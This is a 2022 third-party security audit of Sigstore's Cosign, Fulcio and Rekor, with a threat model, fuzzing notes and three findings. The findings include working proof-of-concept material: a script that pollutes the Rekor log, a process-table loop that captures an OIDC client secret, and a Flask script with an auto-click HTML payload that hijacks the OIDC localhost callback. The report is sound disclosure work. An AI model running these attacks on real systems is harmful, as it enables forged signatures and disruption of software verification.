

# Security Assessment of Sigstore on behalf of Open Source Technology Improvement Fund

---



·∫· sigstore

---

## TABLE OF CONTENTS

Executive Summary .....	3
Include Security (IncludeSec).....	3
Assessment Objectives .....	3
Scope and Methodology.....	3
Findings Overview .....	3
Next Steps.....	3
Risk Categorizations.....	4
Critical-Risk .....	4
High-Risk.....	4
Medium-Risk.....	4
Low-Risk.....	4
Informational .....	4
Introduction .....	5
Project Scoping .....	5
Testing Methodology .....	5
Cryptography Implementation Review .....	5
Threat Modeling .....	5
Fuzzing Improvements .....	7
High-Risk Findings.....	8
H1: Denial-of-Service via Malicious Rekor Log Entry .....	8
Low-Risk Findings .....	11
L1: OIDC Client Secret Passed via Command-Line Argument.....	11
L2: Shared Machine OIDC Bypass .....	12

## EXECUTIVE SUMMARY

### Include Security (IncludeSec)

IncludeSec brings together some of the best information security talent from around the world. The team is composed of security experts in every aspect of consumer and enterprise technology, from low-level hardware and operating systems to the latest cutting-edge web and mobile applications. More information about the company can be found at [www.IncludeSecurity.com](http://www.IncludeSecurity.com).

### Assessment Objectives

The objective of this assessment was to identify and confirm potential security vulnerabilities within targets in-scope of the SOW. The team assigned a qualitative risk ranking to each finding. Recommendations were provided for remediation steps which Open Source Technology Improvement Fund could implement to secure its applications and systems.

### Scope and Methodology

Include Security performed a security assessment of Open Source Technology Improvement Fund's Sigstore. The assessment team performed a 29 day effort spanning from March 7th – March 24th, 2022, using a Standard Grey Box assessment methodology which included a detailed review of all the components described in a manner consistent with the original Statement of Work (SOW).

### Findings Overview

IncludeSec identified 3 categories of findings. There were 0 deemed to be "Critical-Risk," 1 deemed to be "High-Risk," 0 deemed to be "Medium-Risk," and 2 deemed to be "Low-Risk," which pose some tangible security risk.

IncludeSec encourages Open Source Technology Improvement Fund to redefine the stated risk categorizations internally in a manner that incorporates internal knowledge regarding business model, customer risk, and mitigation environmental factors.

### Next Steps

IncludeSec advises Open Source Technology Improvement Fund to remediate as many findings as possible in a prioritized manner and make systemic changes to the Software Development Life Cycle (SDLC) to prevent further vulnerabilities from being introduced into future release cycles. This report can be used by as a basis for any SDLC changes. IncludeSec welcomes the opportunity to assist Open Source Technology Improvement Fund in improving their SDLC in future engagements by providing security assessments of additional products. For inquiries or assistance scheduling remediation tests, please contact us at [remediation@includesecurity.com](mailto:remediation@includesecurity.com).

## RISK CATEGORIZATIONS

At the conclusion of the assessment, Include Security categorized findings into five levels of perceived security risk: Critical, High, Medium, Low, or Informational. **The risk categorizations below are guidelines that IncludeSec understands reflect best practices in the security industry and may differ from a client's internal perceived risk. Additionally, all risk is viewed as "location agnostic" as if the system in question was deployed on the Internet. It is common and encouraged that all clients recategorize findings based on their internal business risk tolerances. Any discrepancies between assigned risk and internal perceived risk are addressed during the course of remediation testing.**

**Critical-Risk** findings are those that pose an immediate and serious threat to the company's infrastructure and customers. This includes loss of system, access, or application control, compromise of administrative accounts or restriction of system functions, or the exposure of confidential information. These threats should take priority during remediation efforts.

**High-Risk** findings are those that could pose serious threats including loss of system, access, or application control, compromise of administrative accounts or restriction of system functions, or the exposure of confidential information.

**Medium-Risk** findings are those that could potentially be used with other techniques to compromise accounts, data, or performance.

**Low-Risk** findings pose limited exposure to compromise or loss of data, and are typically attributed to configuration, and outdated patches or policies.

**Informational** findings pose little to no security exposure to compromise or loss of data which cover defense-in-depth and best-practice changes which we recommend are made to the application. Any informational findings for which the assessment team perceived a direct security risk, were also reported in the spirit of full disclosure but were considered to be out of scope of the engagement.

The findings represented in this report are listed by a risk rated short name (e.g., C1, H2, M3, L4, and I5) and finding title. Each finding may include if applicable: Title, Description, Impact, Reproduction (evidence necessary to reproduce findings), Recommended Remediation, and References.

# INTRODUCTION

## Project Scoping

On March 7<sup>th</sup>, 2022, the assessment team began analyzing the Sigstore application. The following areas were of key focus during the assessment:

- **Manual Code Review** – Assessing code using a combination of static analysis, dynamic analysis, and manual review.
- **Cryptography Review** – Assessing the cryptographic design of the project.
- **Threat Modeling** – Assessing potential threats, attacks, and mitigations.
- **Fuzzing Tool Improvement Research** – Assessing the existing fuzzing coverage and suggesting improvements.

## Testing Methodology

A dedicated instance of the Sigstore application was provided. Testing of the application involved both dynamic and static application testing. Dynamic testing involved interacting with command-line client and HTTP API services. Static testing was performed by manual source code review of each in-scope repository.

## Cryptography Implementation Review

The core cryptography functions in the **Sigstore** repository and their usage within other projects were reviewed with reference to common implementation flaws. The team observed extensive use of Golang's **crypto** module to provide cryptographic primitives and did not note any immediate concerns with the signing and verifying logic:

- The cryptographic libraries used were up-to-date and are known for their high-quality implementations of cryptographic primitives.
- Keys generated used recommended parameters and security levels by default, and **Cosign** users were not easily able to misconfigure the tool to reduce the security of generated keys.
- Signature verification functions were consistent in hashing data themselves rather than trusting digests provided by the user.
- Signature malleability attacks were not applicable.
- Known attacks against algorithms used were not relevant due to the design and implementation of **Sigstore** components.

The usage of the core cryptography functions across the other repositories was investigated and found to be sensibly implemented, following best practices. Additionally, the OIDC flow and usage of Dex were audited and no immediate concerns were found besides the two OIDC findings reported elsewhere in this report.

## Threat Modeling

### Application Decomposition

Common use case	External entities	Attacker interaction
Signing data		OS-based attacks, cryptography-based attacks
Authenticating to <b>Fulcio</b> using OIDC	Sigstore OIDC provider ( <b>DEX</b> ), third-party OIDC provider (e.g. <b>GitHub</b> ), <b>Fulcio</b> HTTP API, <b>Cosign</b> localhost HTTP server	Attacking services directly or through browser-based attacks

Requesting a signed certificate from <b>Fulcio</b>	<b>Fulcio</b> HTTP API	
Adding signature to <b>Rekor</b> log	<b>Rekor</b> HTTP API	Attacking <b>Rekor</b> service
Verifying a signature	<b>Rekor</b> HTTP API, Trusted root certificates	Malicious entries in <b>Rekor</b> log

### Attacker Behavioral Summary

1. An attacker would be interested in inducing **Fulcio** to sign artifacts on behalf of another user.
2. An attacker would be interested in obtaining the **Fulcio** root certificate.
3. An attacker might be interested in tampering with the **Rekor** log, either to insert false records or modify or delete an existing claim.
4. An attacker would be interested in submitting some combination of the following:
  - containers into a container registry
  - artifacts to **Fulcio** for signing
  - transparency records to **Rekor**

The goal would be to manipulate one or more of the **Cosign** verification steps to successfully validate when they should not. This might involve bypassing any of the signing controls, including the signature verification itself, the timestamp authority, or **Rekor** transparency log. This could be caused either by a logical flaw or an implementation of processing steps containing cryptographic vulnerabilities.

5. An attacker would be interested in obtaining any secrets processed by the application on either the client or server side.

### Application Threats

1. **Fulcio's** OpenID Connect (OIDC) authentication mechanism. If this were to fail, it might allow a user to sign artifacts on behalf of another user.
2. **Cosign** signature and transparency log validation logic. If there were any ways to trick **Cosign** into bypassing any of the security controls, the application might validate malicious artifacts, allowing them to be inserted into build chains.
3. Denial-of-service vulnerabilities caused by excessive processing of any user-submitted data on the backend. Since the service intends to be integrated into automated build processes and provide ubiquitous software supply chain protection, denial-of-service or resource exhaustion vulnerabilities could be severely impactful.
4. Targeted denial-of-service on particular packages. If any logic flaws exist in the **Cosign** validation flow, an attacker might be able to cause a particular package to no longer successfully validate. This might be done by making a malicious **Rekor** entry or performing some other action.

### Application Mitigations

By design, the system requires multiple factors (e.g., signatures, transparency log) to align correctly before validation occurs, creating a robust process with limited single failure points. The OIDC flow is a potential single failure point. However, due to the transparency logs, any abuse of OIDC could be discovered quickly by the affected party.

To partially mitigate denial-of-service concerns, individual clients or package ecosystems can cache **Rekor** logs, so that only signers would be affected by a hypothetical event, not verifiers. Since verification is likely to take place much more frequently than signing, this would greatly limit the impact of any denial-of-service incident.

## Fuzzing Improvements

The existing fuzzing coverage was almost entirely limited to the main **Sigstore** project. The assessment team used basic static code analysis to determine the coverage level of the existing fuzzer logic within this codebase.

The following command was used to list all functions in the **Sigstore** package.

```
sigstore/pkg$ (grep --exclude=*_test.go -Re "func (" | cut -d':' -f2 | cut -d')' -f2 | cut -d '(' -f1 && grep --exclude=*_test.go -Re "func\s[a-zA-Z0-9]" | cut -d' ' -f2 | cut -d '(' -f1) | sort | uniq > ../../../../sigstore_nontest_functions.txt
```

The following command listed the functions that are currently called by the fuzzer:

```
sigstore/test/fuzz$ grep -Roe '\.[A-Za-z0-9\s]*(' | cut -d':' -f2 | cut -d '.' -f2 | cut -d '(' -f1 | sort | uniq > ../../../../fuzzed_functions.txt
```

These two lists were then compared to find functions that exist in **Sigstore** and are not called by the fuzzer:

```
sigstore$ diff sigstore_nontest_functions.txt fuzzed_functions.txt | grep '<' | cut -d' ' -f2 | sort | uniq > unfuzzed_functions.txt
```

The team manually reviewed the resulting 88 functions, looking to see whether they should be included in fuzzing. The functions fit into one of a few categories:

- Functions that could benefit from fuzzing (2)
- Trivial functions that would likely have a notable benefit from fuzzing (53)
- Functions serving as wrappers for other **Sigstore** functions (16)
- Functions that are essentially wrappers of external library methods, not in the scope of **Sigstore** (17)

The two functions that the team identified as potentially benefitting from fuzz coverage are listed below:

- `UnmarshalPEMToPrivateKey()` defined in `pkg/cryptoutils/privatekey.go`
- `Verify()` defined in `pkg/signature/.../verify.go`

In addition to adding these functions to the fuzzer coverage, given that the existing fuzzing code focused on testing individual functions in the **Sigstore** project, the assessment team recommends adding fuzzing harnesses to the other projects including **Cosign**, **Fulcio**, and **Rekor**. For example, the fuzzing harness could feed test inputs to individual HTTP handlers in each of the projects, which would duplicate some of the coverage of **Sigstore**, but also cover any potential bugs or logic issues arising from interactions between the components.

## HIGH-RISK FINDINGS

### H1: Denial-of-Service via Malicious Rekor Log Entry

#### Description:

It was possible to cause **Cosign** to fail verification of a signed blob by adding a log entry for the blob containing an untrusted certificate to **Rekor**.

#### Impact:

An attacker could cause a denial-of-service and user confusion around the validity of legitimate software packages that were signed with **Sigstore** and verified with **Cosign**.

For example, an attacker may want to cause damage to the reputation of the **Sigstore** system, or to a specific software package that has been signed with **Sigstore**, or to delay adoption of a new software package version. By (potentially repeatedly) adding self-signed entries to the **Rekor** log, they could cause the **Cosign** tool to fail to verify valid software packages, reducing public trust in **Sigstore** and the packages in question, and potentially cause users to avoid updating those software packages. The legitimate signatures would still exist in the **Rekor** log, but the output of the **Cosign** tool would be impacted, and the **Rekor** log would be polluted with self-signed entries.

#### Reproduction:

To reproduce this finding, a blob was first signed using **Cosign**, and the signature was confirmed to be verified:

```
$ ./cosign verify-blob --rekor-url https://rekor.35.227.170.65.nip.io --signature signature1 blob1.txt
tlog entry verified with uuid: "cc8548cfd6c38c41f93497e5cc8503de76ba30a0a0bdf0434f45879a1e33b188" index: 20
Verified OK
```

Next, a shell-script was used to generate an **ECDSA** keypair with self-signed certificate, and use it to sign the blob. This is the shell script that was used:

```
1 #!/bin/bash
2
3 cd "$(dirname "$0")"
4
5 if [[ -e "$1" ]]
6 then
7   BLOB="$1"
8 else
9   echo "hello world" > "test.txt"
10  BLOB="test.txt"
11 fi
12
13 echo "[*] Generating keypair"
14 openssl ecparam -name prime256v1 -genkey -out test_private_key
15 openssl ec -in test_private_key -pubout -out test_public_key
16
17 echo "[*] Generating self-signed cert"
18 openssl req -batch -new -key test_private_key -x509 -out test_cert.pem
19 openssl x509 -inform pem -in test_cert.pem -text
20
21 echo "[*] Signing $BLOB"
22 openssl dgst -sha256 -sign test_private_key -out test_signature "$BLOB"
23 echo "[*] Verifying signature"
24 openssl dgst -sha256 -verify test_public_key -signature test_signature "$BLOB"
25
26 echo
27 echo "sha256 hash:"
28 sha256sum "$BLOB"
29
30 echo
31 echo "signature:"
```





## Request:

```
POST /api/v1/index/retrieve HTTP/2
Host: rekor.35.227.170.65.nip.io
User-Agent: cosign/(devel) (linux; amd64)
Content-Length: 83
Accept: application/json;q=1
Accept: application/yaml
Content-Type: application/json
Accept-Encoding: gzip, deflate
{"hash":"sha256:83f6a2b55958cacd9b319c302114a3b633586cab241866c87397e9ea6e7004ac"}
```

## Response:

```
HTTP/2 200 OK
Date: Thu, 17 Mar 2022 23:34:51 GMT
Content-Type: application/json;q=1
Content-Length: 136
Vary: Origin
Strict-Transport-Security: max-age=15724800; includeSubDomains
["1daec2b880f74143e657435d12b68684c622d4c617e13eff24cf8184ac68815e", "cc8548cfd6c38c41f93497e5cc8503de76ba30a0a0bdf0434f45879a1e33b188"]
```

The root cause was determined to be that **Cosign** only checked the first entry returned by **Rekor** in **cosign/cmd/cosign/cli/verify/verify\_blob.go**, lines 134-152:

```
134     case options.EnableExperimental():
135         rClient, err := rekor.NewClient(ko.RekorURL)
136         if err != nil {
137             return err
138         }
139
140         uuids, err := cosign.FindTLogEntriesByPayload(ctx, rClient, blobBytes)
141         if err != nil {
142             return err
143         }
144
145         if len(uuids) == 0 {
146             return errors.New("could not find a tlog entry for provided blob")
147         }
148
149         tlogEntry, err := cosign.GetTlogEntry(ctx, rClient, uuids[0])
150         if err != nil {
151             return err
152         }
```

## Recommended Remediation:

The assessment team recommends disregarding **Rekor** entries that do not contain a chain of trust trusted by **Cosign**. Instead, **Cosign** should iterate over the **Rekor** log entries to find the legitimate entry. Additionally, **Rekor** could be modified to check the validity of entries being added to the log, though this could prevent users from using an alternative certificate authority with the **Rekor** instance.

## References:

[OpenSSL Documentation](#)

## LOW-RISK FINDINGS

### L1: OIDC Client Secret Passed via Command-Line Argument

**Description:**

Although not used for the public **Dex** instance, **Cosign** allows for the use of OpenID Connect (OIDC) client secrets via an optional **oidc-client-secret** argument available in the application. OIDC client secrets provide a way for an OIDC client to authenticate with an authorization server.

All arguments specified via a command-line are available in the process table to all other users on the system. They are also usually recorded in a user's shell history.

**Impact:**

Someone else on the system who inspects the process table at the correct time, or someone who gains access to the user's shell history would be able to obtain the OIDC client secret. Exposure of this secret might allow a malicious app to obtain valid tokens and impersonate the user.

**Reproduction:**

The following command line snippet shows the usage documentation for the **cosign sign-blob** command, which includes the **—oidc-client-secret-string** argument:

```
$ cosign sign-blob --help
Sign the supplied blob, outputting the base64-encoded signature to stdout.

Usage:
  cosign sign-blob [flags]

[...]

      --oidc-client-secret string          [EXPERIMENTAL] OIDC
client secret for application
```

As shown in the snippet below, it's possible to obtain this secret by inspecting the process table at the same time as **cosign** is being run:

```
$ for i in $(seq 1 100); do ps aux | grep cosign | grep -v grep; done & cosign sign-blob --oidc-client-secret hunter2
[1] 87619
87620 0.0 0.6 768204 27008 pts/12 Sl+ 14:34 0:00 cosign sign-blob --oidc-client-secret hunter2
```

The **oidc-client-secret** argument is defined in **cmd/cosign/cli/options/oidc.go**:

```
cmd.Flags().StringVar(&o.ClientSecret, "oidc-client-secret", "",
    "[EXPERIMENTAL] OIDC client secret for application")
```

This option is inserted into a **sign.KeyOpts** structure and passed into various signing and attestation methods shown below:

**cosign\cmd\cosign\cli\attest.go:**

```
68         OIDCIssuer:      o.OIDC.Issuer,
69         OIDCClientID:   o.OIDC.ClientID,
70         OIDCClientSecret: o.OIDC.ClientSecret,
71     }
72     for _, img := range args {
```

**cosign\cmd\cosign\cli\policy\_init.go:**

```
183         OIDCIssuer:      o.OIDC.Issuer,
184         OIDCClientID:   o.OIDC.ClientID,
185         OIDCClientSecret: o.OIDC.ClientSecret,
186     })
187     if err != nil {
```

### cosign\cmd\cosign\cli\sign.go:

```
84         OIDCIssuer:          o.OIDC.Issuer,  
85         OIDCClientID:       o.OIDC.ClientID,  
86         OIDCClientSecret:   o.OIDC.ClientSecret,  
87     }  
88     annotationsMap, err := o.AnnotationsMap()
```

### cosign\cmd\cosign\cli\signblob.go:

```
76         OIDCIssuer:          o.OIDC.Issuer,  
77         OIDCClientID:       o.OIDC.ClientID,  
78         OIDCClientSecret:   o.OIDC.ClientSecret,  
79         BundlePath:        o.BundlePath,
```

#### **Recommended Remediation:**

The assessment team recommends accepting the OIDC secret as a path to a file containing the secret, rather than directly taking the secret from the command line. This affords users with several options to pass the secret securely to the application. Other secrets in **Cosign**, such as the **AttestOptions.Key** value, are accepted this way.

#### **References:**

[Passing Passwords](#)

[OpenID Connect overview](#)

## L2: Shared Machine OIDC Bypass

#### **Description:**

The OIDC flow used by **Sigstore** to authenticate users relied on a redirect to a HTTP server on **localhost** with an arbitrary port. In addition, if a user was already authenticated into the OIDC provider (in this case, **GitHub**) then there was minimal user interaction required to complete the flow. As a result, an attack was possible against the system assuming the attacker already had limited access to the machine where the target user's browser was running.

#### **Impact:**

An attacker could sign an object on behalf of a targeted user using **Cosign**, given these conditions:

1. The targeted user was already authenticated into the OIDC provider (in this case, **GitHub**) in their browser
2. The attacker could bind and listen on a TCP port on the the machine where the targeted user's browser was running (e.g. if the attacker has access to another user account on the machine)
3. The targeted user navigated to a malicious web server controlled by the attacker

The second condition above significantly reduces the exploitability of this bypass, and may be considered part of the threat model depending on how and where **Cosign** is expected to run. However, the condition could exist on a shared machine or a machine where the attacker gained access to a user account on the machine.

#### **Reproduction:**

The following general steps explain the attack, but each step is further detailed below.

1. The attacker opens a TCP port listening on the machine where the targeted user's browser is running.
2. The targeted user navigates to a malicious attacker-controlled web server in their browser.

3. The attacker starts the signing process by running **Cosign** (this would be started automatically on the server by the request handler).
4. The response from the malicious web server directs the browser to the OIDC provider with the **redirect\_uri** changed to point to the attacker's TCP port.
5. With no further user interaction, the browser finishes the OIDC flow, redirecting to the attacker's TCP port on localhost.
6. The attacker captures the **code** and **state** parameters from the TCP port, and passes them to the **Cosign** callback port on the server, or machine running **Cosign**.
7. The attacker intercepts **Cosign's** request and replaces the port in the **request\_uri** parameter in the request to **/auth/token** with the attacker's TCP port number.
8. The **Cosign** signing process completes as normal.

The above steps were tested with the following results:

### Step 1

A TCP port was opened for listening:

```
$ ncat -l -p 5555
```

### Steps 2 – 4

The user visited the malicious page, which started **Cosign** on the server, and returned a link to the **OIDC** provider and a script to follow that link. Note that when the attacker ran **Cosign**, it opened a browser on the attacker's machine, which the attacker ignored.

### Request:

```
GET / HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

### Response:

```
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 482
Server: Werkzeug/2.0.3 Python/3.10.2
Date: Wed, 23 Mar 2022 23:06:52 GMT

<html><body onload='document.getElementById("link").click()><a id="link"
href="https://dex.35.227.170.65.nip.io/auth/auth/github-sigstore-
prod?access_type=online&client_id=sigstore&code_challenge=PKj0j9SxE_2wBJay6eh8VXiTO_9CA90KgDYVOV8duEk&code_challenge_metho
d=S256&nonce=2604serTQJR8copHy5qrvVmNNL&redirect_uri=http%3A%2F%2Flocalhost%3A5555%2Fauth%2Fcallback&response_type=code&
scope=openid+email&state=2604sdb48HBKU4vJ0pKxF6eXj7g"></body></html>
```

### Step 5

The user's browser followed the link. The first request returned a redirect to **GitHub**:

### Request:

```
GET /auth/auth/github-sigstore-
prod?access_type=online&client_id=sigstore&code_challenge=PKj0j9SxE_2wBJay6eh8VXiTO_9CA90KgDYVOV8duEk&code_challenge_metho
d=S256&nonce=2604serTQJR8copHy5qrvVmNNL&redirect_uri=http%3A%2F%2Flocalhost%3A5555%2Fauth%2Fcallback&response_type=code&
scope=openid+email&state=2604sdb48HBKU4vJ0pKxF6eXj7g HTTP/2
Host: dex.35.227.170.65.nip.io
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers
```

## Response:

```
HTTP/2 302 Found
Date: Wed, 23 Mar 2022 23:06:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 250
Location:
https://github.com/login/oauth/authorize?client\_id=2fef960652e56eddd1f3&redirect\_uri=https%3A%2F%2Fdex.35.227.170.65.nip.io%2Fauth%2Fcallback&response\_type=code&scope=user%3Aemail&state=dfhyx6a55rxi6dldiox636xn
Strict-Transport-Security: max-age=15724800; includeSubDomains

<a
href="https://github.com/login/oauth/authorize?client_id=2fef960652e56eddd1f3&redirect_uri=https%3A%2F%2Fdex.35.227.170.65.nip.io%2Fauth%2Fcallback&response_type=code&scope=user%3Aemail&state=dfhyx6a55rxi6dldiox636xn">Found</a>
.
```

Since the user was already authenticated to **GitHub**, the authentication completed without further user interaction:

## Request:

```
GET
/login/oauth/authorize?client_id=2fef960652e56eddd1f3&redirect_uri=https%3A%2F%2Fdex.35.227.170.65.nip.io%2Fauth%2Fcallback&response_type=code&scope=user%3Aemail&state=dfhyx6a55rxi6dldiox636xn HTTP/2
Host: github.com
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers
```

## Response:

```
HTTP/2 302 Found
Server: GitHub.com
Date: Wed, 23 Mar 2022 23:06:52 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, X-PJAX-Container
Permissions-Policy: interest-cohort=()
Location: https://dex.35.227.170.65.nip.io/auth/callback?code=340ebe3c50971b7e65dd&state=dfhyx6a55rxi6dldiox636xn
Cache-Control: no-cache
Set-Cookie: has_recent_activity=1; path=/; expires=Thu, 24 Mar 2022 00:06:52 GMT; secure; HttpOnly; SameSite=Lax
Set-Cookie: [REDACTED]
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-Xss-Protection: 0
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
Expect-Ct: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.githubapp.com collector.github.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-
```

```
production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events translator.github.com
wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-
origin.githubusercontent.com; frame-ancestors 'self'; frame-src render.githubusercontent.com
viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com
identicons.github.com collector.githubapp.com collector.github.com github-cloud.s3.amazonaws.com secured-user-
images.githubusercontent.com/ *.githubusercontent.com; manifest-src 'self'; media-src github.com user-
images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com;
worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
Vary: Accept-Encoding, Accept, X-Requested-With
X-Github-Request-Id: A650:04F7:18DFAC:1FC12B:623BA80C

<html><body>You are being <a
href="https://dex.35.227.170.65.nip.io/auth/callback?code=340ebe3c50971b7e65dd&state=dfhyx6a55rxi6dldiox636xn">redire
cted</a>.</body></html>
```

The OIDC flow made several redirects:

### Request:

```
GET /auth/callback?code=340ebe3c50971b7e65dd&state=dfhyx6a55rxi6dldiox636xn HTTP/2
Host: dex.35.227.170.65.nip.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers
```

### Response:

```
HTTP/2 303 See Other
Date: Wed, 23 Mar 2022 23:06:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 71
Location: /auth/approval?req=dfhyx6a55rxi6dldiox636xn
Strict-Transport-Security: max-age=15724800; includeSubDomains
<a href="/auth/approval?req=dfhyx6a55rxi6dldiox636xn">See Other</a>.
```

The final redirect was to the attacker-controlled TCP port:

### Request:

```
GET /auth/approval?req=dfhyx6a55rxi6dldiox636xn HTTP/2
Host: dex.35.227.170.65.nip.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers
```

### Response:

```
HTTP/2 303 See Other
Date: Wed, 23 Mar 2022 23:06:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 131
Location: http://localhost:5555/auth/callback?code=qr6bqlinwhmkeh353kewkwxn&state=26o4sdB48HBKU4vJ0pKxF6eXj7g
Strict-Transport-Security: max-age=15724800; includeSubDomains
<a href="http://localhost:5555/auth/callback?code=qr6bqlinwhmkeh353kewkwxn&state=26o4sdB48HBKU4vJ0pKxF6eXj7g">See
Other</a>.
```







```
146 url := &url.URL{
147     Scheme: "http",
148     Host:   fmt.Sprintf("localhost:%d", port),
149     Path:   "/auth/callback",
150 }
151
152 m := http.NewServeMux()
153 s := &http.Server{
154     Addr:    url.Host,
155     Handler: m,
156 }
157
158 m.HandleFunc(url.Path, func(w http.ResponseWriter, r *http.Request) {
159     // even though these are fetched from the FormValue method,
160     // these are supplied as query parameters
161     if r.FormValue("state") != state {
162         errCh <- errors.New("invalid state token")
163         return
164     }
165     doneCh <- r.FormValue("code")
166     fmt.Fprint(w, htmlPage)
167 })
168
169 go func() {
170     if err := s.Serve(listener); err != nil && err != http.ErrServerClosed {
171         errCh <- err
172     }
173 }()
174
175 return s, url, nil
176 }
```

The following is the script used to perform the proof-of-concept attack. The script starts an HTTP server. The targeted user visits the index page, and the attacker passes the captured parameters to the **/callback** endpoint. A more developed attack script would further automate the callback.

```
1 #!/usr/bin/env python
2
3 import os
4 import pexpect
5 import re
6 import html
7 import urllib
8 from flask import Flask, request
9
10 app = Flask(__name__)
11 child = None
12 callback_port = None
13
14 @app.route("/")
15 def index():
16     global child
17     global callback_port
18     os.environ['COSIGN_EXPERIMENTAL'] = '1'
19     os.environ['SIGSTORE_CT_LOG_PUBLIC_KEY_FILE'] = "./ctfe.pub"
20     child = pexpect.spawn("./cosign sign-blob --oidc-issuer=https://dex.35.227.170.65.nip.io/auth --fulcio-url=https://fulcio.35.227.170.65.nip.io --rekor-url https://rekor.35.227.170.65.nip.io blob3.txt")
21     child.expect("Your browser will now be opened to:\r\n")
22     url = child.readline().decode('utf-8').strip()
23     newurl = url.replace('/auth/auth', '/auth/auth/github-sigstore-prod')
24     my_port = 5555
25     newurl = re.sub('localhost.3.[0-9]+.2.', "localhost%3A" + str(my_port) + "%2F", newurl)
26     callback_port = int(re.search('localhost.3.([0-9]+).2.', url).group(1))
27
28     return "<html><body onload='document.getElementById(\"link\").click()>' + \
29         <a id=\"link\" href=\"\" + html.escape(newurl) + \"\">\" + \
30         </body></html>"
31
32 @app.route("/callback")
33 def callback():
```

```
34 global child
35 global callback_port
36 if child == None:
37     return "No child process"
38
39 code = request.args.get('code')
40 state = request.args.get('state')
41
42 url = "http://localhost:" + str(callback_port) + \
43     "/auth/callback?code=" + urllib.parse.quote(code) + \
44     "&state=" + urllib.parse.quote(state)
45 urllib.request.urlopen(url)
46
47 return "<html><body><pre>" + html.escape(child.read().decode('utf-8')) + "</pre></body></html>"
48
49 if __name__ == "__main__":
50     app.run()
```

### ***Recommended Remediation:***

The assessment team recommends rearchitecting the OIDC authentication flow to not use an HTTP server listening on **localhost** to communicate secrets from the browser to the native **Cosign** application. For example, the application is already able to use a flow where the user manually copies a token from the browser to the native command-line interface. Alternatively, the **Cosign** client could request the secret values from the authentication server rather than being passed in an HTTP redirect, though this requires more trust in the authentication server.

### ***References:***

[OpenID Connect Specification](#)